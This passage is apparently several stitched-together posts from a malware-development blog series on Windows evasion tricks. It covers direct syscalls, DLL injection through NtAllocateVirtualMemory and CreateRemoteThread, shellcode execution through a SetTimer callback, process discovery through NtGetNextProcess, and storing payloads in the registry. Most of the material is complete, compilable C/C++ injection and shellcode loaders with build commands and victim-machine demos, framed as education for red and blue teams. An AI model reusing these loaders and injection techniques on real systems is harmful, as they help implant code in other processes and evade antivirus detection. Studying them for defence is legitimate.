x86_64-w64-mingw32-g++ -m64 -c hack.c -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -Wall -shared -fpermissive

trick

and link these together like so:

x86_64-w64-mingw32-gcc *.o -o hack.exe

trick

And run our β€œmalware” in the victim’s machine (Windows 10 x64 1903):

.\hack.exe <PID>

trick

trick

As you can see everything is worked perfectly! =^..^=

Because I am compiling it with mingw, I am utilizing NASM assembler. If you want MASM, you need to copy the syscall.asm file and modify the customized project settings in Visual Studio.

As I wrote earlier, please be aware that the system call number (0x18 for NtAllocateVirtualMemory in this case) can change between different versions of Windows. Another solution is the use of Syswhispers. SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.

As a proof of concept, we created a real-life example, but what about AV/EDR evasion? Some readers have asked me to write an example that returns 0 detections in VirusTotal. For reasons of safety and conscience, I can not show a full-fledged PoC example for this, but I think I can give hints. I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: Native API
Syscalls x64
Windows System Calls Table
SysWhispers3
Code injection via NtAllocateVirtualMemory
Classic DLL injection into the process. Simple C++ malware
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 32. Syscalls - part 1. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

trick

This post is the result of my own research and the start of a series of articles about one of the most interesting tricks: Windows system calls.

syscalls

Windows system calls or syscalls provide an interface for programs to interact with the operating system, allowing them to request specific services such as reading or writing to a file, creating a new process, or allocating memory. Recall that syscalls are the APIs responsible for executing actions when a WinAPI function is invoked. NtAllocateVirtualMemory is initiated, for instance, when the VirtualAlloc or VirtualAllocEx WinAPIs functions are called. This syscall then transfers the user-supplied parameters from the preceding function call to the Windows kernel, executes the requested action, and returns the result to the program.

All syscalls return an NTSTATUS Value that indicates the error code. STATUS_SUCCESS (zero) is returned if the syscall succeeds in performing the operation.

The majority of syscalls are not documented by Microsoft, so syscall modules will refer to the documentation shown below:

ReactOS NTDLL reference

The majority of syscalls are exported from the ntdll.dll DLL.

You can find windows syscall table at https://github.com/j00ru/windows-syscalls/:

trick

what’s the trick?

Using system calls provides low-level access to the operating system, which can be advantageous when executing operations that are unavailable or more difficult to perform with standard WinAPIs.

Moreover, syscalls can be utilized to circumvent host-based security solutions.

syscall ID

Every syscall has a special syscall number, which is known as syscall ID or system service number. Let’s go to see an example. Open notepad.exe via x64dbg debugger, we can see that NtAllocateMemory syscall will have a syscall ID = 18:

trick

trick

But, it is important to be aware that sycall IDs will differ depending on the OS (e.g. Windows 10 vs Windows 7 or Windows 11) and within the version itself (e.g. Windows 10 1903 vs Windows 10 1809):

trick

practical example

Let’s go see a real example. Just take a look at an example that is similar to the example from my post about classic DLL injection:

/*
hack.c
classic DLL injection example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#pragma comment(lib, "ntdll")

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
  HANDLE             ProcessHandle,
  PVOID              *BaseAddress,
  ULONG              ZeroBits,
  PULONG             RegionSize,
  ULONG              AllocationType,
  ULONG              Protect
);

char evilDLL[] = "C:\\temp\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  HMODULE ntdll = GetModuleHandle("ntdll");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // parse process ID
  if ( atoi(argv[1]) == 0) {
    printf("PID not found :( exiting...\n");
    return -1;
  }
  printf("PID: %i", atoi(argv[1]));
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");  

  // allocate memory buffer for remote process
  myNtAllocateVirtualMemory(ph, &rb, 0, (PULONG)&evilLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);
  return 0;
}

The only difference is:


//...
#pragma comment(lib, "ntdll")

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
  HANDLE             ProcessHandle,
  PVOID              *BaseAddress,
  ULONG              ZeroBits,
  PULONG             RegionSize,
  ULONG              AllocationType,
  ULONG              Protect
);

//...
//...
//...

pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");  

// allocate memory buffer for remote process
myNtAllocateVirtualMemory(ph, &rb, 0, (PULONG)&evilLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//...

As usually, for simplicity β€œevil” DLL is meow-meow messagebox:

/*
evil.c
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow-meow!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

trick

And run:

.\hack.exe <PID>

trick

It worked as expected for mspaint.exe with PID = 5520.

Also if we attach it to x64dbg:

trick

As you can see, syscall ID = 18 for hack.exe at the same machine.

practical example 2

Then, let’s try to retrieve syscall stub from ntdll. In this part I just want to print it for checking correctness that syscall ID for NtAllocateVirtualMemory is 18 for Windows 10 x64 version 1903.

Retrieving the ntdll syscall stubs from disk at runtime can be done by dynamically loading the ntdll.dll file from disk into the process memory, then getting the address of the required function. Below is a basic outline of how we can accomplish this (hack2.c):

/*
hack2.c
print syscall ID from stub
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/06/07/syscalls-1.html
*/
#include <windows.h>
#include <stdio.h>

void printSyscallStub(char* funcName) {
  HMODULE ntdll = LoadLibraryExA("ntdll.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);

  if (ntdll == NULL) {
    printf("failed to load ntdll.dll\n");
    return;
  }

  FARPROC funcAddress = GetProcAddress(ntdll, funcName);

  if (funcAddress == NULL) {
    printf("failed to get address of %s\n", funcName);
    FreeLibrary(ntdll);
    return;
  }

  printf("address of %s: 0x%p\n", funcName, funcAddress);

  // print the first 23 bytes of the stub
  BYTE* bytes = (BYTE*)funcAddress;
  for (int i = 0; i < 23; i++) {
    printf("%02X ", bytes[i]);
  }
  printf("\n");

  FreeLibrary(ntdll);
}

int main() {
  printSyscallStub("NtAllocateVirtualMemory");
  return 0;
}

This example uses the LoadLibraryExA function with the DONT_RESOLVE_DLL_REFERENCES flag to load the DLL file as a data file instead of a DLL module. Then it uses GetProcAddress to get the address of the desired syscall function in the data file. Note that the printed bytes are not the syscall number, they’re the beginning of the code of the stub that makes the syscall. The syscall number itself is encoded in this stub.

demo

Let’s go to see everything in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

trick

And run in our victim’s machine:

.\hack2.exe

trick

But the actual address of the syscall stub will be different when it’s loaded in an actual process because ntdll.dll is loaded at different base addresses in different processes due to ASLR. Therefore, we should not use these addresses directly in a real exploit. Instead, we should dynamically resolve the addresses of the functions we need at runtime. This example is just for demonstration purposes to understand how syscall stubs look in NTDLL.dll on disk.

This concludes the first part of a series of posts.

I hope this post is a good introduction to windows system calls for both red and blue team members.

Syscalls x64
Windows System Calls Table
Code injection via NtAllocateVirtualMemory
Classic DLL injection into the process. Simple C++ malware
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 31: Run shellcode via SetTimer. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

trick

This article is the result of my own research into the next interesting trick: run shellcode via SetTimer function.

SetTimer

The SetTimer function is a part of the Windows API. It is used to create a timer with a specified time-out value.

Here is its basic syntax:

UINT_PTR SetTimer(
  HWND      hWnd,
  UINT_PTR  nIDEvent,
  UINT      uElapse,
  TIMERPROC lpTimerFunc
);

Where:

  • hWnd: A handle to the window to be associated with the timer. This window must be owned by the calling thread. If a NULL value for hWnd is passed in along with an nIDEvent of an existing timer, that old timer will be replaced by the new one.
  • nIDEvent: A nonzero timer identifier. If the hWnd parameter is NULL, and the nIDEvent does not match an existing timer then it is ignored and a new timer ID is generated. If the hWnd is not NULL and the window specified by hWnd already has a timer with the value nIDEvent, then the existing timer is replaced by the new timer. When SetTimer replaces a timer, the timer is reset.
  • uElapse: The time-out value, in milliseconds.
  • lpTimerFunc: A pointer to the function to be notified when the time-out value elapses. If this parameter is NULL, the system posts a WM_TIMER message to the application queue. This message is processed by the window procedure.

practical example

So, what’s the trick? Just take a look at this (hack.c):

/*
 * hack.cpp - run shellcode via SetTimer. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/06/04/malware-tricks-31.html
*/
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  PVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, my_payload, sizeof(my_payload));
  UINT_PTR dummy = 0;
  MSG msg;

  SetTimer(NULL, dummy, NULL, (TIMERPROC)mem);
  GetMessageA(&msg, NULL, 0, 0);
  DispatchMessageA(&msg);

  return 0;
}

As you can see, this code seems to attempt to execute shellcode using the SetTimer Windows API function by providing it a pointer to a function (TIMERPROC) to be called when the timer expires.

As usually, for simplicity I used meow-meow messagebox payload:

unsigned char my_payload[] =
  // 64-bit meow-meow messagebox
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

demo

Let’s go to see everything in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

trick

And run in our victim’s machine:

.\hack.exe

trick

As you can see, everything is worked perfectly! =^..^=

Let’s go to upload hack.exe to VirusTotal:

trick

So, 19 of 71 AV engines detect our file as malicious.

https://www.virustotal.com/gui/file/6b418cb08b87c07246170577503e9ef2e98f39e44afa9b53a0747fa9f5ed524e/detection

But, I think we have an issue in our dirty PoC code.

The SetTimer function requires the uElapse parameter to be set. This parameter represents the time-out value, in milliseconds. If it’s set to NULL or 0, the function will not set the timer. So, if we want to execute shellcode immediately, we need to set uElapse to 1. Something like this:

SetTimer(NULL, dummy, 1, (TIMERPROC)mem);  // Set uElapse to 1
while (GetMessageA(&msg, NULL, 0, 0)) {    // Using while loop to keep the message pump running
  DispatchMessageA(&msg);
}

This code will create a timer that expires almost immediately and calls our shellcode as a callback function. Of course, note that this kind of technique can be detected as malicious by antivirus software due to the anomalous behavior of executing code through a timer callback.

I haven’t seen this trick in the real-life malware and APT attacks yet. I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

SetTimer
Malware dev tricks. Run shellcode via EnumDesktopsA
Classic DLL injection into the process. Simple C++ malware
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

Today, I just want to focus my research on another malware development trick: enum processes and find PID via NtGetNextProcess. It is a common technique that can be used by malware for AV evasion also.

what’s the trick?

We just simply utilize additional undocumented features. NtGetNextProcess is a system call made available by the kernel that retrieves the next process. But what does next mean? If you’re familiar with Windows internals, you know that process objects are linked together in the kernel’s massive linked list. Therefore, this system call takes the handle to a process object and locates the next process in the chain that the current user can access.

practical example

Everything is pretty simple:

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

This function scans all running processes in a Windows system and returns the Process ID (PID) of a process that matches the provided name. A while loop is started which continues until myNtGetNextProcess returns a non-zero value, indicating that there are no more processes. The handle of the next process is obtained by myNtGetNextProcess and stored in current. For each process, GetProcessImageFileNameA is used to get the image file name (the executable file of the process) and stores it in procName. If the base name of procName (obtained using PathFindFileName) matches procname (comparison is case-insensitive due to lstrcmpiA), the process ID of current is obtained.

So, full source code is looks like this (hack.cpp):

/*
 * hack.cpp - find process ID by NtGetNextProcess. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/05/26/malware-tricks-30.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <shlwapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  return 0;
}

demo

Ok, let’s go to look this trick in action.

Compile it (hack.cpp):

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi

av-evasion

Then, just run it at the victim’s machine (Windows 10 22H2 x64 in my case):

.\hack.exe <process>

av-evasion

As you can see, it’s worked perfectly, as expected :) =^..^=

practical example 2. find and inject

Let’s go to another example with malicious logic. Find process ID by name and inject DLL to it.

Source code is similar to my post. The only difference is the logic of the findMyProc function (hack2.cpp):

/*
 * hack2.cpp - find process ID
 * by NtGetNextProcess and
 * DLL inject. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/05/26/malware-tricks-30.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <shlwapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);

  HMODULE hKernel32 = GetModuleHandle("kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // open process
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
  if (ph == NULL) {
    printf("OpenProcess failed! exiting...\n");
    return -2;
  }

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);

  return 0;
}

As usually, for simplicity I create simple DLL with meow from evil.dll! messagebox (evil.c):

/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow from evil.dll!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

demo 2

Ok, let’s go to demonstration our injection.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack2.cpp -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi

av-evasion

And run for find and inject to mspaint.exe:

.\hack2.exe mspaint.exe

av-evasion

av-evasion

As you can see, our messagebox is injected to mspaint.exe with PID = 2568 as expected. Perfect! =^..^=

As I wrote earlier, this trick can be used to bypass some cyber security solutions, since many systems only detect functions known to many like CreateToolhelp32Snapshot, Process32First, Process32Next. For the same reason, this can be difficult for many malware analysts.

I haven’t seen this trick in the real-life malware and APT attacks yet. I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

Find PID by name and inject to it. β€œClassic” implementation.
Classic DLL injection into the process. Simple C++ malware
Taking a Snapchot and Viewing Processes
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 29: Store binary data in registry. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

Today, I just want to focus my research on another malware development trick: storing binary data in Windows Registry. It is a common technique that can be used by malware for persistence or also to store malicious payloads.

practical example 1

Below is a simple example code of storing binary data in the registry:

void registryStore() {
  HKEY hkey;
  BYTE data[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};

  DWORD d;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
  printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" : "successfully create key :)\n");

  res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  RegCloseKey(hkey);
}

This code will write the binary data {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77} to HKEY_CURRENT_USER\Software\meowApp\secretMeow. As you can see, you need to create the Software\meowApp key before storing. Please ensure that you have appropriate permissions to write to the registry.

Ok, then how can I retrieving this binary data from registry?

It’s a simple task:

void registryGetData() {
  HKEY hkey;
  DWORD size = 0;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);
  printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" : "successfully open reg key:)\n");

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" : "successfully get binary data size:)\n");

  // allocate memory for the data
  BYTE *data = new BYTE[size];

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, data, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data :(\n" : "successfully get binary data:)\n");

  printf("data:\n");
  for (int i = 0; i < size; i++) {
    printf("\\x%02x", static_cast<int>(data[i]));
  }
  printf("\n\n");

  RegCloseKey(hkey);
  delete[] data; 
}

The data is read into a dynamic array, which is then printed to the console just for checking correctness. It is important to call delete[] on the data array after you are finished with it to avoid a memory leak.

So, the full source code is look like this:

/*
 * hack.cpp - store binary data in registry. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html
*/
#include <windows.h>
#include <stdio.h>
#include <iostream>

void registryStore() {
  HKEY hkey;
  BYTE data[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};

  DWORD d;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
  printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" : "successfully create key :)\n");

  res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  RegCloseKey(hkey);
}

void registryGetData() {
  HKEY hkey;
  DWORD size = 0;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);
  printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" : "successfully open reg key:)\n");

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" : "successfully get binary data size:)\n");

  // allocate memory for the data
  BYTE *data = new BYTE[size];

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, data, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data :(\n" : "successfully get binary data:)\n");

  printf("data:\n");
  for (int i = 0; i < size; i++) {
    printf("\\x%02x", static_cast<int>(data[i]));
  }
  printf("\n\n");

  RegCloseKey(hkey);
  delete[] data;
}

int main(void) {
  registryStore();
  registryGetData();
  return 0;
}

Note that it’s just a dirty PoC.

demo 1

Let’s go to see everything in action.

First of all compile our β€œmalware” in the attacker’s machine:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

malw-tricks

Then, just run powershell as Administrator and execute our binary in victim’s machine (Windows 10 22H2 x64):

.\hack.exe

malw-tricks

malw-tricks

malw-tricks

As you can see, everything is worked perfectly! =^..^=

practical example 2

What about to store payload in registry? Let’s go to check it in practice.

Just modify our functions from hack.cpp:

